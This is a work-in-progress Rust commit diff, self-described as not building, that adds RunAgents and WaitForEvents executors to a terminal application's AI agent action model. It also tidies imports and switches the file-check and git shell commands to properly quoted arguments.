first pass of merging in warp (doesn't build)
This commit is contained in:
@@ -15,62 +15,51 @@
|
||||
mod execute;
|
||||
mod preprocess;
|
||||
|
||||
use crate::ai::agent::conversation::ConversationStatus;
|
||||
use crate::ai::agent::{
|
||||
AIAgentActionResultType, AIAgentActionType, AIAgentExchange, CancellationReason,
|
||||
CreateDocumentsResult, EditDocumentsResult, RequestCommandOutputResult,
|
||||
};
|
||||
use crate::ai::{
|
||||
agent::AIAgentInput,
|
||||
blocklist::action_model::execute::suggest_new_conversation::SuggestNewConversationExecutor,
|
||||
};
|
||||
use std::collections::{HashMap, HashSet, VecDeque};
|
||||
use std::path::PathBuf;
|
||||
use std::sync::Arc;
|
||||
|
||||
use chrono::Local;
|
||||
pub(crate) use execute::apply_edits;
|
||||
pub(crate) use execute::coerce_integer_args;
|
||||
pub(crate) use execute::FileReadResult;
|
||||
pub(crate) use execute::MalformedFinalLineProxyEvent;
|
||||
pub(crate) use execute::{
|
||||
apply_edits, coerce_integer_args, FileReadResult, MalformedFinalLineProxyEvent,
|
||||
};
|
||||
#[cfg(test)]
|
||||
pub(crate) use execute::{compose_run_agents_child_prompt, run_agents_to_start_agent_mode};
|
||||
pub use execute::{
|
||||
read_local_file_context, EditAcceptAndContinueClickedEvent, EditAcceptClickedEvent,
|
||||
EditResolvedEvent, EditStats, NewConversationDecision, PromptSuggestionExecutor,
|
||||
ReadFileContextResult, RequestFileEditsExecutor, RequestFileEditsFormatKind,
|
||||
RequestFileEditsTelemetryEvent, ShellCommandExecutor, ShellCommandExecutorEvent,
|
||||
StartAgentExecutor, StartAgentExecutorEvent, StartAgentRequest,
|
||||
RequestFileEditsTelemetryEvent, RunAgentsExecutor, RunAgentsExecutorEvent,
|
||||
RunAgentsSpawningSnapshot, ShellCommandExecutor, ShellCommandExecutorEvent, StartAgentExecutor,
|
||||
StartAgentExecutorEvent, StartAgentRequest, StartAgentRequestId,
|
||||
};
|
||||
|
||||
use futures::future::{join_all, BoxFuture};
|
||||
use preprocess::{PendingPreprocessedActions, PreprocessId};
|
||||
|
||||
use std::{
|
||||
collections::{HashMap, HashSet, VecDeque},
|
||||
path::PathBuf,
|
||||
sync::Arc,
|
||||
};
|
||||
|
||||
use crate::ai::agent::conversation::AIConversationId;
|
||||
use galaxyui::{AppContext, Entity, EntityId, ModelContext, ModelHandle, SingletonEntity};
|
||||
use itertools::Itertools;
|
||||
use parking_lot::FairMutex;
|
||||
use preprocess::{PendingPreprocessedActions, PreprocessId};
|
||||
use galaxyui::{AppContext, Entity, EntityId, ModelContext, ModelHandle, SingletonEntity};
|
||||
|
||||
use crate::{
|
||||
ai::{
|
||||
agent::{AIAgentAction, AIAgentActionId, AIAgentActionResult},
|
||||
get_relevant_files::controller::GetRelevantFilesController,
|
||||
},
|
||||
terminal::{
|
||||
model::session::active_session::ActiveSession, model_events::ModelEventDispatcher,
|
||||
TerminalModel,
|
||||
},
|
||||
};
|
||||
|
||||
use self::execute::ask_user_question::AskUserQuestionExecutor;
|
||||
use self::execute::search_codebase::SearchCodebaseExecutor;
|
||||
use self::execute::{
|
||||
ask_user_question::AskUserQuestionExecutor, search_codebase::SearchCodebaseExecutor,
|
||||
BlocklistAIActionExecutor, BlocklistAIActionExecutorEvent, NotExecutedReason,
|
||||
RunningActionPhase, TryExecuteResult,
|
||||
};
|
||||
|
||||
use super::BlocklistAIHistoryModel;
|
||||
use crate::ai::agent::conversation::{AIConversationId, ConversationStatus};
|
||||
use crate::ai::agent::{
|
||||
AIAgentAction, AIAgentActionId, AIAgentActionResult, AIAgentActionResultType,
|
||||
AIAgentActionType, AIAgentActionTypeDiscriminants, AIAgentExchange, AIAgentInput,
|
||||
CancellationOutcome, CancellationReason, CreateDocumentsResult, EditDocumentsResult,
|
||||
RequestCommandOutputResult,
|
||||
};
|
||||
use crate::ai::ai_document_view::DEFAULT_PLANNING_DOCUMENT_TITLE;
|
||||
use crate::ai::blocklist::action_model::execute::suggest_new_conversation::SuggestNewConversationExecutor;
|
||||
use crate::ai::document::ai_document_model::AIDocumentModel;
|
||||
use crate::ai::get_relevant_files::controller::GetRelevantFilesController;
|
||||
use crate::terminal::model::session::active_session::ActiveSession;
|
||||
use crate::terminal::model_events::ModelEventDispatcher;
|
||||
use crate::terminal::TerminalModel;
|
||||
use crate::{send_telemetry_from_ctx, TelemetryEvent};
|
||||
|
||||
/// The status of an action from an AI output.
|
||||
@@ -274,7 +263,7 @@ impl BlocklistAIActionModel {
|
||||
ctx,
|
||||
)
|
||||
});
|
||||
ctx.subscribe_to_model(&executor, move |me, event, ctx| match event {
|
||||
ctx.subscribe_to_model(&executor, move |me, _, event, ctx| match event {
|
||||
BlocklistAIActionExecutorEvent::ExecutingAction { action_id } => {
|
||||
ctx.emit(BlocklistAIActionEvent::ExecutingAction(action_id.clone()));
|
||||
}
|
||||
@@ -400,6 +389,10 @@ impl BlocklistAIActionModel {
|
||||
self.executor.as_ref(app).start_agent_executor().clone()
|
||||
}
|
||||
|
||||
pub fn run_agents_executor(&self, app: &AppContext) -> ModelHandle<RunAgentsExecutor> {
|
||||
self.executor.as_ref(app).run_agents_executor().clone()
|
||||
}
|
||||
|
||||
pub fn ask_user_question_executor(
|
||||
&self,
|
||||
app: &AppContext,
|
||||
@@ -706,6 +699,71 @@ impl BlocklistAIActionModel {
|
||||
}
|
||||
}
|
||||
|
||||
/// Dispatches a `RunAgents` action with the user-edited request
|
||||
/// from the confirmation card.
|
||||
pub fn execute_run_agents(
|
||||
&mut self,
|
||||
action_id: &AIAgentActionId,
|
||||
request: ai::agent::action::RunAgentsRequest,
|
||||
ctx: &mut ModelContext<Self>,
|
||||
) {
|
||||
let mut found = None;
|
||||
for (conv_id, queue) in self.pending_actions.iter_mut() {
|
||||
if let Some(action) = queue.iter_mut().find(|action| &action.id == action_id) {
|
||||
found = Some((*conv_id, action));
|
||||
break;
|
||||
}
|
||||
}
|
||||
let Some((conversation_id, action)) = found else {
|
||||
log::warn!(
|
||||
"BlocklistAIActionModel::execute_run_agents: no pending action for {action_id:?}"
|
||||
);
|
||||
return;
|
||||
};
|
||||
if !matches!(action.action, AIAgentActionType::RunAgents(_)) {
|
||||
log::warn!(
|
||||
"BlocklistAIActionModel::execute_run_agents: pending action {action_id:?} is not RunAgents"
|
||||
);
|
||||
return;
|
||||
}
|
||||
action.action = AIAgentActionType::RunAgents(request);
|
||||
self.execute_action(action_id, conversation_id, ctx);
|
||||
}
|
||||
|
||||
/// Removes a pending `RunAgents` action and records a `Denied`
|
||||
/// result. Used when the orchestration config is disapproved at
|
||||
/// the time the action becomes blocked on user confirmation.
|
||||
pub fn deny_run_agents(
|
||||
&mut self,
|
||||
action_id: &AIAgentActionId,
|
||||
reason: String,
|
||||
ctx: &mut ModelContext<Self>,
|
||||
) {
|
||||
let mut found: Option<(AIConversationId, AIAgentAction)> = None;
|
||||
for (conv_id, queue) in self.pending_actions.iter_mut() {
|
||||
if let Some(idx) = queue.iter().position(|a| &a.id == action_id) {
|
||||
if let Some(action) = queue.remove(idx) {
|
||||
found = Some((*conv_id, action));
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
let Some((conversation_id, action)) = found else {
|
||||
log::warn!(
|
||||
"BlocklistAIActionModel::deny_run_agents: no pending action for {action_id:?}"
|
||||
);
|
||||
return;
|
||||
};
|
||||
let result = Arc::new(AIAgentActionResult {
|
||||
id: action.id,
|
||||
task_id: action.task_id,
|
||||
result: AIAgentActionResultType::RunAgents(
|
||||
ai::agent::action_result::RunAgentsResult::Denied { reason },
|
||||
),
|
||||
});
|
||||
self.handle_action_result(conversation_id, result, None, ctx);
|
||||
}
|
||||
|
||||
/// Attempts to execute the next pending action for the active conversation.
|
||||
pub fn execute_next_action_for_user(
|
||||
&mut self,
|
||||
@@ -839,18 +897,25 @@ impl BlocklistAIActionModel {
|
||||
|
||||
let action_id = action.id.clone();
|
||||
let phase = self.action_phase_for_action(&action, ctx);
|
||||
// WaitForEvents owns its own status transition; skip the default
|
||||
// in-progress update.
|
||||
let is_wait_for_events = matches!(action.action, AIAgentActionType::WaitForEvents { .. });
|
||||
let execute_result = self.executor.update(ctx, |executor, ctx| {
|
||||
executor.try_to_execute_action(action, conversation_id, is_user_initiated, ctx)
|
||||
});
|
||||
|
||||
match execute_result {
|
||||
TryExecuteResult::ExecutedAsync => {
|
||||
self.update_conversation_in_progress_status(conversation_id, ctx);
|
||||
if !is_wait_for_events {
|
||||
self.update_conversation_in_progress_status(conversation_id, ctx);
|
||||
}
|
||||
self.add_running_action(conversation_id, action_id, phase);
|
||||
Some(StartedAction::Async { phase })
|
||||
}
|
||||
TryExecuteResult::ExecutedSync => {
|
||||
self.update_conversation_in_progress_status(conversation_id, ctx);
|
||||
if !is_wait_for_events {
|
||||
self.update_conversation_in_progress_status(conversation_id, ctx);
|
||||
}
|
||||
Some(StartedAction::Sync)
|
||||
}
|
||||
TryExecuteResult::NotExecuted { reason, action } => {
|
||||
@@ -1033,6 +1098,27 @@ impl BlocklistAIActionModel {
|
||||
}
|
||||
}
|
||||
|
||||
/// Cancels any in-flight WaitForEvents action for the given conversation.
|
||||
pub fn cancel_wait_for_events_for_conversation(
|
||||
&mut self,
|
||||
conversation_id: AIConversationId,
|
||||
ctx: &mut ModelContext<Self>,
|
||||
) {
|
||||
let action_id = self.executor.update(ctx, |executor, _| {
|
||||
executor.find_running_wait_for_events(conversation_id)
|
||||
});
|
||||
if let Some(action_id) = action_id {
|
||||
self.cancel_action_with_id(
|
||||
conversation_id,
|
||||
&action_id,
|
||||
CancellationReason::FollowUpSubmitted {
|
||||
is_for_same_conversation: true,
|
||||
},
|
||||
ctx,
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
pub(super) fn cancel_all_pending_actions(
|
||||
&mut self,
|
||||
conversation_id: AIConversationId,
|
||||
@@ -1047,6 +1133,13 @@ impl BlocklistAIActionModel {
|
||||
return;
|
||||
};
|
||||
for action in actions_to_cancel.drain(..).collect_vec() {
|
||||
log::info!(
|
||||
"Canceling pending action of type {:?} conversation_id={conversation_id:?} action_id={:?}, reason={:?}, backtrace=\n{}",
|
||||
AIAgentActionTypeDiscriminants::from(&action.action),
|
||||
action.id,
|
||||
reason,
|
||||
std::backtrace::Backtrace::force_capture()
|
||||
);
|
||||
self.cancel_pending_action(conversation_id, action, reason, ctx);
|
||||
}
|
||||
}
|
||||
@@ -1090,9 +1183,14 @@ impl BlocklistAIActionModel {
|
||||
pending_action.action,
|
||||
AIAgentActionType::RequestComputerUse(_)
|
||||
) {
|
||||
let server_conversation_id = BlocklistAIHistoryModel::as_ref(ctx)
|
||||
.conversation(&conversation_id)
|
||||
.and_then(|c| c.server_conversation_token())
|
||||
.map(|t| t.as_str().to_string());
|
||||
send_telemetry_from_ctx!(
|
||||
TelemetryEvent::ComputerUseCancelled {
|
||||
conversation_id,
|
||||
client_conversation_id: conversation_id,
|
||||
server_conversation_id,
|
||||
ambient_agent_task_id: self.ambient_agent_task_id,
|
||||
},
|
||||
ctx
|
||||
@@ -1164,7 +1262,7 @@ impl BlocklistAIActionModel {
|
||||
}
|
||||
|
||||
let Some(conversation_id) = found_conversation_id else {
|
||||
debug_assert!(false, "Expected action to be requested command.");
|
||||
log::warn!("Ignoring acceptance for non-pending requested command: {action_id:?}");
|
||||
return;
|
||||
};
|
||||
|
||||
@@ -1242,8 +1340,17 @@ impl BlocklistAIActionModel {
|
||||
.get(&conversation_id)
|
||||
.is_none_or(|actions| actions.is_empty())
|
||||
{
|
||||
if !cancellation_reason.is_some_and(|r| r.is_follow_up_for_same_conversation()) {
|
||||
// Only a `Cancelled` outcome stamps a status here. The other outcomes are
|
||||
// owned elsewhere: `KeepInProgress` / `Succeeded` and `FinalizedExternally`
|
||||
// are finalized by the controller or a dedicated path, and a normal
|
||||
// completion (no cancellation reason) is resolved by the controller's
|
||||
// follow-up handling. Stamping here for any of those would clobber the real
|
||||
// status and message.
|
||||
if cancellation_reason
|
||||
.is_some_and(|r| matches!(r.conversation_outcome(), CancellationOutcome::Cancelled))
|
||||
{
|
||||
BlocklistAIHistoryModel::handle(ctx).update(ctx, |history_model, ctx| {
|
||||
// Treat action result as authoritative for determining status.
|
||||
let status = if self
|
||||
.finished_action_results
|
||||
.get(&conversation_id)
|
||||
|
||||
@@ -12,6 +12,7 @@ pub(super) mod read_mcp_resource;
|
||||
pub(super) mod read_skill;
|
||||
pub(super) mod request_computer_use;
|
||||
pub(super) mod request_file_edits;
|
||||
pub(super) mod run_agents;
|
||||
pub(super) mod search_codebase;
|
||||
pub(super) mod send_message;
|
||||
pub(super) mod shell_command;
|
||||
@@ -20,6 +21,12 @@ pub(super) mod suggest_new_conversation;
|
||||
pub(super) mod suggest_prompt;
|
||||
pub(super) mod upload_artifact;
|
||||
pub(super) mod use_computer;
|
||||
pub(super) mod wait_for_events;
|
||||
|
||||
use std::any::Any;
|
||||
use std::path::PathBuf;
|
||||
use std::pin::Pin;
|
||||
use std::sync::Arc;
|
||||
|
||||
use ai::agent::action_result::{InsertReviewCommentsResult, RequestCommandOutputResult};
|
||||
pub use ask_user_question::AskUserQuestionExecutor;
|
||||
@@ -29,77 +36,74 @@ use create_documents::CreateDocumentsExecutor;
|
||||
use edit_documents::EditDocumentsExecutor;
|
||||
use fetch_conversation::FetchConversationExecutor;
|
||||
use file_glob::FileGlobExecutor;
|
||||
use futures::{future::BoxFuture, FutureExt};
|
||||
use galaxy_core::{execution_mode::AppExecutionMode, features::FeatureFlag};
|
||||
use futures::future::BoxFuture;
|
||||
#[cfg(feature = "local_fs")]
|
||||
use futures::AsyncReadExt;
|
||||
use futures::FutureExt;
|
||||
use grep::GrepExecutor;
|
||||
use notebooks::NotebookExecutor;
|
||||
#[cfg(feature = "local_fs")]
|
||||
use mime_guess::from_path;
|
||||
use parking_lot::FairMutex;
|
||||
use read_documents::ReadDocumentsExecutor;
|
||||
pub(super) use read_files::ReadFilesExecutor;
|
||||
use read_mcp_resource::ReadMCPResourceExecutor;
|
||||
use read_skill::ReadSkillExecutor;
|
||||
use request_computer_use::RequestComputerUseExecutor;
|
||||
pub(crate) use request_file_edits::apply_edits;
|
||||
pub(crate) use request_file_edits::FileReadResult;
|
||||
pub(crate) use request_file_edits::MalformedFinalLineProxyEvent;
|
||||
pub(crate) use request_file_edits::{apply_edits, FileReadResult, MalformedFinalLineProxyEvent};
|
||||
pub use request_file_edits::{
|
||||
EditAcceptAndContinueClickedEvent, EditAcceptClickedEvent, EditResolvedEvent, EditStats,
|
||||
RequestFileEditsExecutor, RequestFileEditsFormatKind, RequestFileEditsTelemetryEvent,
|
||||
};
|
||||
#[cfg(test)]
|
||||
pub use run_agents::{compose_run_agents_child_prompt, run_agents_to_start_agent_mode};
|
||||
pub use run_agents::{RunAgentsExecutor, RunAgentsExecutorEvent, RunAgentsSpawningSnapshot};
|
||||
pub use send_message::SendMessageToAgentExecutor;
|
||||
use serde::{Deserialize, Serialize};
|
||||
pub use shell_command::{ShellCommandExecutor, ShellCommandExecutorEvent};
|
||||
pub use start_agent::{StartAgentExecutor, StartAgentExecutorEvent, StartAgentRequest};
|
||||
pub use start_agent::{
|
||||
StartAgentExecutor, StartAgentExecutorEvent, StartAgentRequest, StartAgentRequestId,
|
||||
};
|
||||
pub use suggest_new_conversation::NewConversationDecision;
|
||||
use suggest_new_conversation::SuggestNewConversationExecutor;
|
||||
pub use suggest_prompt::PromptSuggestionExecutor;
|
||||
use upload_artifact::UploadArtifactExecutor;
|
||||
use use_computer::UseComputerExecutor;
|
||||
|
||||
#[cfg(feature = "local_fs")]
|
||||
use crate::util::openable_file_type::is_binary_file;
|
||||
#[cfg(feature = "local_fs")]
|
||||
use futures::AsyncReadExt;
|
||||
use wait_for_events::WaitForEventsExecutor;
|
||||
use galaxy_core::execution_mode::AppExecutionMode;
|
||||
use galaxy_core::features::FeatureFlag;
|
||||
#[cfg(feature = "local_fs")]
|
||||
use galaxy_files::{FileModel, TextFileReadResult};
|
||||
#[cfg(feature = "local_fs")]
|
||||
use galaxy_util::file::FileLoadError;
|
||||
#[cfg(feature = "local_fs")]
|
||||
use galaxy_util::file_type::is_buffer_binary;
|
||||
use galaxyui::{
|
||||
r#async::{Spawnable, SpawnableOutput},
|
||||
AppContext, Entity, EntityId, ModelContext, ModelHandle, SingletonEntity,
|
||||
};
|
||||
use std::{any::Any, path::PathBuf, pin::Pin, sync::Arc};
|
||||
use galaxyui::r#async::{Spawnable, SpawnableOutput};
|
||||
use galaxyui::{AppContext, Entity, EntityId, ModelContext, ModelHandle, SingletonEntity};
|
||||
|
||||
use self::search_codebase::SearchCodebaseExecutor;
|
||||
use crate::ai::agent::conversation::AIConversationId;
|
||||
use crate::ai::agent::{
|
||||
AIAgentAction, AIAgentActionId, AIAgentActionResult, AIAgentActionResultType,
|
||||
AIAgentActionType, AIAgentActionTypeDiscriminants, CancellationReason, FileContext,
|
||||
FileLocations, ServerOutputId,
|
||||
};
|
||||
use crate::ai::ambient_agents::AmbientAgentTaskId;
|
||||
use crate::ai::get_relevant_files::controller::GetRelevantFilesController;
|
||||
#[cfg(feature = "local_fs")]
|
||||
use crate::ai::{agent::AnyFileContent, paths::host_native_absolute_path};
|
||||
use crate::terminal::model::session::active_session::ActiveSession;
|
||||
use crate::terminal::model::session::command_executor::shell_quote_arg;
|
||||
use crate::terminal::model::session::{ExecuteCommandOptions, Session};
|
||||
use crate::terminal::model_events::ModelEventDispatcher;
|
||||
use crate::terminal::shell::ShellType;
|
||||
use crate::terminal::{ShellLaunchData, TerminalModel};
|
||||
#[cfg(feature = "local_fs")]
|
||||
use crate::util::image::{
|
||||
is_supported_image_mime_type, process_image_for_agent, ProcessImageResult,
|
||||
};
|
||||
#[cfg(feature = "local_fs")]
|
||||
use mime_guess::from_path;
|
||||
|
||||
use self::search_codebase::SearchCodebaseExecutor;
|
||||
#[cfg(feature = "local_fs")]
|
||||
use crate::ai::{agent::AnyFileContent, paths::host_native_absolute_path};
|
||||
use crate::{
|
||||
ai::{
|
||||
agent::{
|
||||
conversation::AIConversationId, AIAgentAction, AIAgentActionId, AIAgentActionResult,
|
||||
AIAgentActionResultType, AIAgentActionType, CancellationReason, FileContext,
|
||||
FileLocations, ServerOutputId,
|
||||
},
|
||||
ambient_agents::AmbientAgentTaskId,
|
||||
get_relevant_files::controller::GetRelevantFilesController,
|
||||
},
|
||||
terminal::{
|
||||
model::session::{active_session::ActiveSession, ExecuteCommandOptions, Session},
|
||||
model_events::ModelEventDispatcher,
|
||||
shell::ShellType,
|
||||
ShellLaunchData, TerminalModel,
|
||||
},
|
||||
BlocklistAIHistoryModel,
|
||||
};
|
||||
use crate::util::openable_file_type::is_binary_file;
|
||||
use crate::BlocklistAIHistoryModel;
|
||||
|
||||
/// Types of actions that can be executed in parallel.
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||
@@ -261,8 +265,10 @@ pub struct BlocklistAIActionExecutor {
|
||||
read_skill_executor: ModelHandle<ReadSkillExecutor>,
|
||||
fetch_conversation_executor: ModelHandle<FetchConversationExecutor>,
|
||||
start_agent_executor: ModelHandle<StartAgentExecutor>,
|
||||
run_agents_executor: ModelHandle<RunAgentsExecutor>,
|
||||
send_message_executor: ModelHandle<SendMessageToAgentExecutor>,
|
||||
ask_user_question_executor: ModelHandle<AskUserQuestionExecutor>,
|
||||
wait_for_events_executor: ModelHandle<WaitForEventsExecutor>,
|
||||
/// The actions currently executing asynchronously, keyed by action ID.
|
||||
/// We track them per action rather than as a single slot so multiple actions from the same
|
||||
/// parallel phase can complete independently.
|
||||
@@ -324,12 +330,16 @@ impl BlocklistAIActionExecutor {
|
||||
let use_computer_executor = ctx.add_model(|_| UseComputerExecutor::new());
|
||||
let request_computer_use_executor =
|
||||
ctx.add_model(|_| RequestComputerUseExecutor::new(terminal_view_id));
|
||||
let read_skill_executor = ctx.add_model(|_| ReadSkillExecutor::new());
|
||||
let read_skill_executor = ctx.add_model(|_| ReadSkillExecutor::new(active_session.clone()));
|
||||
let fetch_conversation_executor = ctx.add_model(|_| FetchConversationExecutor::new());
|
||||
let start_agent_executor = ctx.add_model(StartAgentExecutor::new);
|
||||
let run_agents_executor = ctx
|
||||
.add_model(|_| RunAgentsExecutor::new(start_agent_executor.clone(), terminal_view_id));
|
||||
let send_message_executor = ctx.add_model(|_| SendMessageToAgentExecutor::new());
|
||||
let ask_user_question_executor =
|
||||
ctx.add_model(|_| AskUserQuestionExecutor::new(terminal_view_id));
|
||||
let wait_for_events_executor =
|
||||
ctx.add_model(|ctx| WaitForEventsExecutor::new(terminal_view_id, ctx));
|
||||
Self {
|
||||
shell_command_executor,
|
||||
read_files_executor,
|
||||
@@ -353,8 +363,10 @@ impl BlocklistAIActionExecutor {
|
||||
read_skill_executor,
|
||||
fetch_conversation_executor,
|
||||
start_agent_executor,
|
||||
run_agents_executor,
|
||||
send_message_executor,
|
||||
ask_user_question_executor,
|
||||
wait_for_events_executor,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -364,6 +376,29 @@ impl BlocklistAIActionExecutor {
|
||||
.map(|running| &running.action)
|
||||
}
|
||||
|
||||
/// Returns the action_id of any running WaitForEvents action for the
|
||||
/// given conversation. There is at most one (wait_for_events is
|
||||
/// documented as exclusive within a turn).
|
||||
pub(super) fn find_running_wait_for_events(
|
||||
&self,
|
||||
conversation_id: AIConversationId,
|
||||
) -> Option<AIAgentActionId> {
|
||||
self.async_executing_actions
|
||||
.iter()
|
||||
.find_map(|(action_id, running)| {
|
||||
if running.conversation_id == conversation_id
|
||||
&& matches!(
|
||||
running.action.action,
|
||||
AIAgentActionType::WaitForEvents { .. }
|
||||
)
|
||||
{
|
||||
Some(action_id.clone())
|
||||
} else {
|
||||
None
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
pub fn shell_command_executor(&self) -> &ModelHandle<ShellCommandExecutor> {
|
||||
&self.shell_command_executor
|
||||
}
|
||||
@@ -390,6 +425,10 @@ impl BlocklistAIActionExecutor {
|
||||
&self.start_agent_executor
|
||||
}
|
||||
|
||||
pub fn run_agents_executor(&self) -> &ModelHandle<RunAgentsExecutor> {
|
||||
&self.run_agents_executor
|
||||
}
|
||||
|
||||
pub fn action_phase(&self, action: &AIAgentAction, ctx: &AppContext) -> RunningActionPhase {
|
||||
match &action.action {
|
||||
AIAgentActionType::ReadFiles(..)
|
||||
@@ -426,6 +465,9 @@ impl BlocklistAIActionExecutor {
|
||||
id: Option<AmbientAgentTaskId>,
|
||||
ctx: &mut ModelContext<Self>,
|
||||
) {
|
||||
self.send_message_executor.update(ctx, |executor, _| {
|
||||
executor.set_ambient_agent_task_id(id);
|
||||
});
|
||||
self.request_computer_use_executor
|
||||
.update(ctx, |executor, _| {
|
||||
executor.set_ambient_agent_task_id(id);
|
||||
@@ -540,6 +582,12 @@ impl BlocklistAIActionExecutor {
|
||||
AIAgentActionType::AskUserQuestion { .. } => self
|
||||
.ask_user_question_executor
|
||||
.update(ctx, |executor, ctx| executor.preprocess_action(input, ctx)),
|
||||
AIAgentActionType::RunAgents(_) => self
|
||||
.run_agents_executor
|
||||
.update(ctx, |executor, ctx| executor.preprocess_action(input, ctx)),
|
||||
AIAgentActionType::WaitForEvents { .. } => self
|
||||
.wait_for_events_executor
|
||||
.update(ctx, |executor, ctx| executor.preprocess_action(input, ctx)),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -768,6 +816,14 @@ impl BlocklistAIActionExecutor {
|
||||
.ask_user_question_executor
|
||||
.update(ctx, |executor, ctx| executor.execute(input, ctx))
|
||||
.into(),
|
||||
AIAgentActionType::RunAgents(_) => self
|
||||
.run_agents_executor
|
||||
.update(ctx, |executor, ctx| executor.execute(input, ctx))
|
||||
.into(),
|
||||
AIAgentActionType::WaitForEvents { .. } => self
|
||||
.wait_for_events_executor
|
||||
.update(ctx, |executor, ctx| executor.execute(input, ctx))
|
||||
.into(),
|
||||
};
|
||||
|
||||
let action_id = action_clone.id.clone();
|
||||
@@ -885,6 +941,11 @@ impl BlocklistAIActionExecutor {
|
||||
return;
|
||||
}
|
||||
if let Some(running) = self.async_executing_actions.remove(action_id) {
|
||||
let action_kind = AIAgentActionTypeDiscriminants::from(&running.action.action);
|
||||
log::info!(
|
||||
"Canceling running async action of type {action_kind:?} action_id={action_id:?}, reason={reason:?}, backtrace=\n{}",
|
||||
std::backtrace::Backtrace::force_capture()
|
||||
);
|
||||
if running.is_shell_command_action() {
|
||||
self.shell_command_executor.update(ctx, |executor, ctx| {
|
||||
executor.cancel_execution(&running.action.id, ctx);
|
||||
@@ -893,6 +954,19 @@ impl BlocklistAIActionExecutor {
|
||||
self.search_codebase_executor.update(ctx, |executor, ctx| {
|
||||
executor.cancel_execution(&running.action.id, ctx);
|
||||
});
|
||||
} else if matches!(running.action.action, AIAgentActionType::RunAgents(..)) {
|
||||
self.run_agents_executor.update(ctx, |executor, ctx| {
|
||||
executor.cancel_execution(&running.action.id, ctx);
|
||||
});
|
||||
} else if let AIAgentActionType::WaitForEvents { tool_call_id, .. } =
|
||||
&running.action.action
|
||||
{
|
||||
// Drop the executor's pending entry; the shared cancel
|
||||
// path emits FinishedAction(Cancelled).
|
||||
let tool_call_id = tool_call_id.clone();
|
||||
self.wait_for_events_executor.update(ctx, |executor, _| {
|
||||
executor.cancel_execution(&tool_call_id);
|
||||
});
|
||||
}
|
||||
ctx.emit(BlocklistAIActionExecutorEvent::FinishedAction {
|
||||
result: Arc::new(AIAgentActionResult {
|
||||
@@ -1016,6 +1090,12 @@ impl BlocklistAIActionExecutor {
|
||||
AIAgentActionType::AskUserQuestion { .. } => self
|
||||
.ask_user_question_executor
|
||||
.update(ctx, |executor, ctx| executor.should_autoexecute(input, ctx)),
|
||||
AIAgentActionType::RunAgents(_) => self
|
||||
.run_agents_executor
|
||||
.update(ctx, |executor, ctx| executor.should_autoexecute(input, ctx)),
|
||||
AIAgentActionType::WaitForEvents { .. } => self
|
||||
.wait_for_events_executor
|
||||
.update(ctx, |executor, ctx| executor.should_autoexecute(input, ctx)),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1300,14 +1380,26 @@ async fn read_binary_file_context(
|
||||
})
|
||||
}
|
||||
|
||||
fn build_is_file_path_command(path: &str, shell_type: ShellType) -> String {
|
||||
let escaped_path = shell_quote_arg(path, shell_type);
|
||||
if shell_type == ShellType::PowerShell {
|
||||
format!("if (Test-Path -PathType Leaf {escaped_path}) {{ exit 0 }} else {{ exit 1 }}")
|
||||
} else {
|
||||
format!("test -f {escaped_path}")
|
||||
}
|
||||
}
|
||||
|
||||
fn build_is_git_repository_command(absolute_path: &str, shell_type: ShellType) -> String {
|
||||
format!(
|
||||
"git -C {} rev-parse",
|
||||
shell_quote_arg(absolute_path, shell_type)
|
||||
)
|
||||
}
|
||||
|
||||
/// Returns true if the given path is a regular file on the session's filesystem.
|
||||
/// Runs a shell command on the session so it works for both local and remote sessions.
|
||||
async fn is_file_path(path: &str, session: &Session) -> bool {
|
||||
let command = if session.shell().shell_type() == ShellType::PowerShell {
|
||||
format!("if (Test-Path -PathType Leaf \"{path}\") {{ exit 0 }} else {{ exit 1 }}")
|
||||
} else {
|
||||
format!("test -f \"{path}\"")
|
||||
};
|
||||
let command = build_is_file_path_command(path, session.shell().shell_type());
|
||||
session
|
||||
.execute_command(&command, None, None, ExecuteCommandOptions::default())
|
||||
.await
|
||||
@@ -1317,7 +1409,7 @@ async fn is_file_path(path: &str, session: &Session) -> bool {
|
||||
|
||||
/// Returns true if git is installed and the given path is in a git repository.
|
||||
async fn is_git_repository(absolute_path: &str, session: &Session) -> anyhow::Result<bool> {
|
||||
let git_command = format!("git -C \"{absolute_path}\" rev-parse");
|
||||
let git_command = build_is_git_repository_command(absolute_path, session.shell().shell_type());
|
||||
let command_output = session
|
||||
.execute_command(
|
||||
git_command.as_str(),
|
||||
|
||||
@@ -1,12 +1,11 @@
|
||||
use crate::ai::agent::{AIAgentActionResultType, AIAgentActionType};
|
||||
use crate::ai::blocklist::orchestration_events::OrchestrationEventService;
|
||||
use crate::ai::blocklist::BlocklistAIHistoryModel;
|
||||
use crate::ai::blocklist::BlocklistAIPermissions;
|
||||
use ai::agent::action_result::{AskUserQuestionAnswerItem, AskUserQuestionResult};
|
||||
use futures::{future::BoxFuture, FutureExt};
|
||||
use futures::future::BoxFuture;
|
||||
use futures::FutureExt;
|
||||
use galaxyui::{Entity, EntityId, ModelContext, SingletonEntity};
|
||||
|
||||
use super::{ActionExecution, AnyActionExecution, ExecuteActionInput, PreprocessActionInput};
|
||||
use crate::ai::agent::{AIAgentActionResultType, AIAgentActionType};
|
||||
use crate::ai::blocklist::BlocklistAIPermissions;
|
||||
|
||||
pub enum AskUserQuestionDecision {
|
||||
Completed(Vec<AskUserQuestionAnswerItem>),
|
||||
|
||||
@@ -1,22 +1,24 @@
|
||||
use ai::agent::action::AskUserQuestionItem;
|
||||
use ai::agent::action_result::{AskUserQuestionAnswerItem, AskUserQuestionResult};
|
||||
use warpui::{App, EntityId, ModelHandle};
|
||||
|
||||
use super::*;
|
||||
use crate::ai::agent::conversation::AIConversationId;
|
||||
use crate::ai::agent::task::TaskId;
|
||||
use crate::ai::agent::{AIAgentAction, AIAgentActionId, AIAgentActionResultType};
|
||||
use crate::ai::blocklist::{BlocklistAIHistoryModel, BlocklistAIPermissions};
|
||||
use crate::ai::execution_profiles::{
|
||||
profiles::AIExecutionProfilesModel, AskUserQuestionPermission,
|
||||
};
|
||||
use crate::ai::execution_profiles::profiles::AIExecutionProfilesModel;
|
||||
use crate::ai::execution_profiles::AskUserQuestionPermission;
|
||||
use crate::ai::mcp::templatable_manager::TemplatableMCPServerManager;
|
||||
